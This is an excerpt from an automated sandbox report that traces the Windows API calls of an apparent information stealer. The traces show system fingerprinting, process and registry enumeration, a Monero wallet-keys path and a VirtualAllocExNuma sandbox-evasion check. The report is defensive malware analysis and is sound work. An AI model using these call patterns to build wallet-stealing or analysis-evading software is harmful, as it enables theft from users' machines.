Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: ae179477a0970eab78b1e64255f32a1f43d4ceb69165e70d5897b253b57586b4
Instruction ID: 47b3850806f34c9efda171d62922fca02534087e4814ff30c315f75917d2468f
Opcode Fuzzy Hash: ae179477a0970eab78b1e64255f32a1f43d4ceb69165e70d5897b253b57586b4
Instruction Fuzzy Hash: 61919575B00209DFDB28EF64DD95BEDB7B5BF94300F408528E84A8F285DB309A09CB81

Function 01000765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0087A7D0), ref: 0100079A
StrCmpCA.SHLWAPI(00000000,0087A7E0), ref: 01000866
StrCmpCA.SHLWAPI(00000000,0087A900), ref: 0100099D

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 70857df9999c8900397ce8d49b4cfafb6af3d6581377ceb333a5f84f4fdccc3e
Instruction ID: 8f10b3129e47946295f850e28ee6cea7071a786a359e100942f94171a3cabe7d
Opcode Fuzzy Hash: 70857df9999c8900397ce8d49b4cfafb6af3d6581377ceb333a5f84f4fdccc3e
Instruction Fuzzy Hash: 0C819675B10209DFDB28EF64D995BEDB7B5FF94300F408528D84A9F285DB309A06CB81

Function 010070D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

memset.MSVCRT ref: 0100716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0100718C

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 62c87e2e82c78b9a750f655245adae173878a0501ab454456bc7cfe5cbca82a9
Instruction ID: e8100421bf4085a5b13023a4f60de3d0c6b2be90a76e00903a471838128ee0b4
Opcode Fuzzy Hash: 62c87e2e82c78b9a750f655245adae173878a0501ab454456bc7cfe5cbca82a9
Instruction Fuzzy Hash: E4517FB0D002099BEB65EB94DC85BEEB3B5AF54304F5040A8E285671C1EB787E88CF54

Function 010078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
RtlAllocateHeap.NTDLL(00000000), ref: 01007917
GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 133b105d166e1e6c7021dc4157f07bb46b27277c12c26598f718cca1dc55bd21
Instruction ID: 6332d8f5b5f38eeb7ca629cf0383c3200714e925c07f9f6e9a489be49b9466c4
Opcode Fuzzy Hash: 133b105d166e1e6c7021dc4157f07bb46b27277c12c26598f718cca1dc55bd21
Instruction Fuzzy Hash: 6B0186B1904204EBD710DF99D949BAEBBB8F704B21F104269F5C5E3280C37855048BA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2297330346.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2297295856.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297647498.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2297702453.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 01009470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 01009484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010094A5
CloseHandle.KERNEL32(00000000), ref: 010094AF

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 09935cf000c0a100093d39c4fbd7213c36eb03a6da8dc28c6ddbab5cb85e2c8e
Instruction ID: d874a9bb5d0f453e7647ceafa82fbada8faafba3fa33fae44d977c747adcc414
Opcode Fuzzy Hash: 09935cf000c0a100093d39c4fbd7213c36eb03a6da8dc28c6ddbab5cb85e2c8e
Instruction Fuzzy Hash: A6F0DA75A0020CEBEB15DFA4D84AFED77B8EB08714F104598BB5997280D6B4AA85CB90

Function 00FF1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FF112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FF1132
ExitProcess.KERNEL32 ref: 00FF1143

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 7e4ddbc9d7485411253c82c00c03b2ecab72a934f8fd49988cca621b80898392
Instruction ID: 97b28d0d4651b60d653c6bdf258d976a830955214d4fa9fcaa8aabc9e5e18714
Opcode Fuzzy Hash: 7e4ddbc9d7485411253c82c00c03b2ecab72a934f8fd49988cca621b80898392
Instruction Fuzzy Hash: 3EE0E67094534CFBE7206BA0EC0EB1D7678AF04B11F104155F709B71C4D6B526409799

Function 01001A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 01007500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01007542
Part of subcall function 01007500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0100757F
Part of subcall function 01007500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007603
Part of subcall function 01007500: RtlAllocateHeap.NTDLL(00000000), ref: 0100760A

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 01007690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 010076A4
Part of subcall function 01007690: RtlAllocateHeap.NTDLL(00000000), ref: 010076AB

Part of subcall function 010077C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0100DBC0,000000FF,?,01001C99,00000000,?,0087EFD0,00000000,?), ref: 010077F2
Part of subcall function 010077C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0100DBC0,000000FF,?,01001C99,00000000,?,0087EFD0,00000000,?), ref: 010077F9

Part of subcall function 01007850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
Part of subcall function 01007850: RtlAllocateHeap.NTDLL(00000000), ref: 01007887
Part of subcall function 01007850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

Part of subcall function 010078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
Part of subcall function 010078E0: RtlAllocateHeap.NTDLL(00000000), ref: 01007917
Part of subcall function 010078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Part of subcall function 01007980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E00,00000000,?), ref: 010079B0
Part of subcall function 01007980: RtlAllocateHeap.NTDLL(00000000), ref: 010079B7
Part of subcall function 01007980: GetLocalTime.KERNEL32(?,?,?,?,?,01010E00,00000000,?), ref: 010079C4
Part of subcall function 01007980: wsprintfA.USER32 ref: 010079F3

Part of subcall function 01007A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0087F398,00000000,?,01010E10,00000000,?,00000000,00000000), ref: 01007A63
Part of subcall function 01007A30: RtlAllocateHeap.NTDLL(00000000), ref: 01007A6A
Part of subcall function 01007A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0087F398,00000000,?,01010E10,00000000,?,00000000,00000000,?), ref: 01007A7D

Part of subcall function 01007B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0087F398,00000000,?,01010E10,00000000,?,00000000,00000000), ref: 01007B35

Part of subcall function 01007B90: GetKeyboardLayoutList.USER32(00000000,00000000,010105AF), ref: 01007BE1
Part of subcall function 01007B90: LocalAlloc.KERNEL32(00000040,?), ref: 01007BF9
Part of subcall function 01007B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 01007C0D
Part of subcall function 01007B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01007C62
Part of subcall function 01007B90: LocalFree.KERNEL32(00000000), ref: 01007D22

Part of subcall function 01007D80: GetSystemPowerStatus.KERNEL32(?), ref: 01007DAD

GetCurrentProcessId.KERNEL32(00000000,?,0087EF30,00000000,?,01010E24,00000000,?,00000000,00000000,?,0087F488,00000000,?,01010E20,00000000), ref: 0100207E

Part of subcall function 01009470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 01009484
Part of subcall function 01009470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 010094A5
Part of subcall function 01009470: CloseHandle.KERNEL32(00000000), ref: 010094AF

Part of subcall function 01007E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007E37
Part of subcall function 01007E00: RtlAllocateHeap.NTDLL(00000000), ref: 01007E3E
Part of subcall function 01007E00: RegOpenKeyExA.KERNEL32(80000002,0086C148,00000000,00020119,?), ref: 01007E5E
Part of subcall function 01007E00: RegQueryValueExA.KERNEL32(?,0087EDB0,00000000,00000000,000000FF,000000FF), ref: 01007E7F
Part of subcall function 01007E00: RegCloseKey.ADVAPI32(?), ref: 01007E92

Part of subcall function 01007F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 01007FC9
Part of subcall function 01007F60: GetLastError.KERNEL32 ref: 01007FD8

Part of subcall function 01007ED0: GetSystemInfo.KERNEL32(01010E2C), ref: 01007F00
Part of subcall function 01007ED0: wsprintfA.USER32 ref: 01007F16

Part of subcall function 01008100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0087F3C8,00000000,?,01010E2C,00000000,?,00000000), ref: 01008130
Part of subcall function 01008100: RtlAllocateHeap.NTDLL(00000000), ref: 01008137
Part of subcall function 01008100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01008158
Part of subcall function 01008100: __aulldiv.LIBCMT ref: 01008172
Part of subcall function 01008100: __aulldiv.LIBCMT ref: 01008180
Part of subcall function 01008100: wsprintfA.USER32 ref: 010081AC

Part of subcall function 010087C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,01010E28,00000000,?), ref: 0100882F
Part of subcall function 010087C0: RtlAllocateHeap.NTDLL(00000000), ref: 01008836
Part of subcall function 010087C0: wsprintfA.USER32 ref: 01008850

Part of subcall function 01008320: RegOpenKeyExA.KERNEL32(00000000,0087CC90,00000000,00020019,00000000,010105B6), ref: 010083A4

Part of subcall function 01008320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 01008426
Part of subcall function 01008320: wsprintfA.USER32 ref: 01008459
Part of subcall function 01008320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0100847B
Part of subcall function 01008320: RegCloseKey.ADVAPI32(00000000), ref: 0100848C
Part of subcall function 01008320: RegCloseKey.ADVAPI32(00000000), ref: 01008499

Part of subcall function 01008680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,010105B7), ref: 010086CA
Part of subcall function 01008680: Process32First.KERNEL32(?,00000128), ref: 010086DE
Part of subcall function 01008680: Process32Next.KERNEL32(?,00000128), ref: 010086F3
Part of subcall function 01008680: CloseHandle.KERNEL32(?), ref: 01008761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0100265B

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
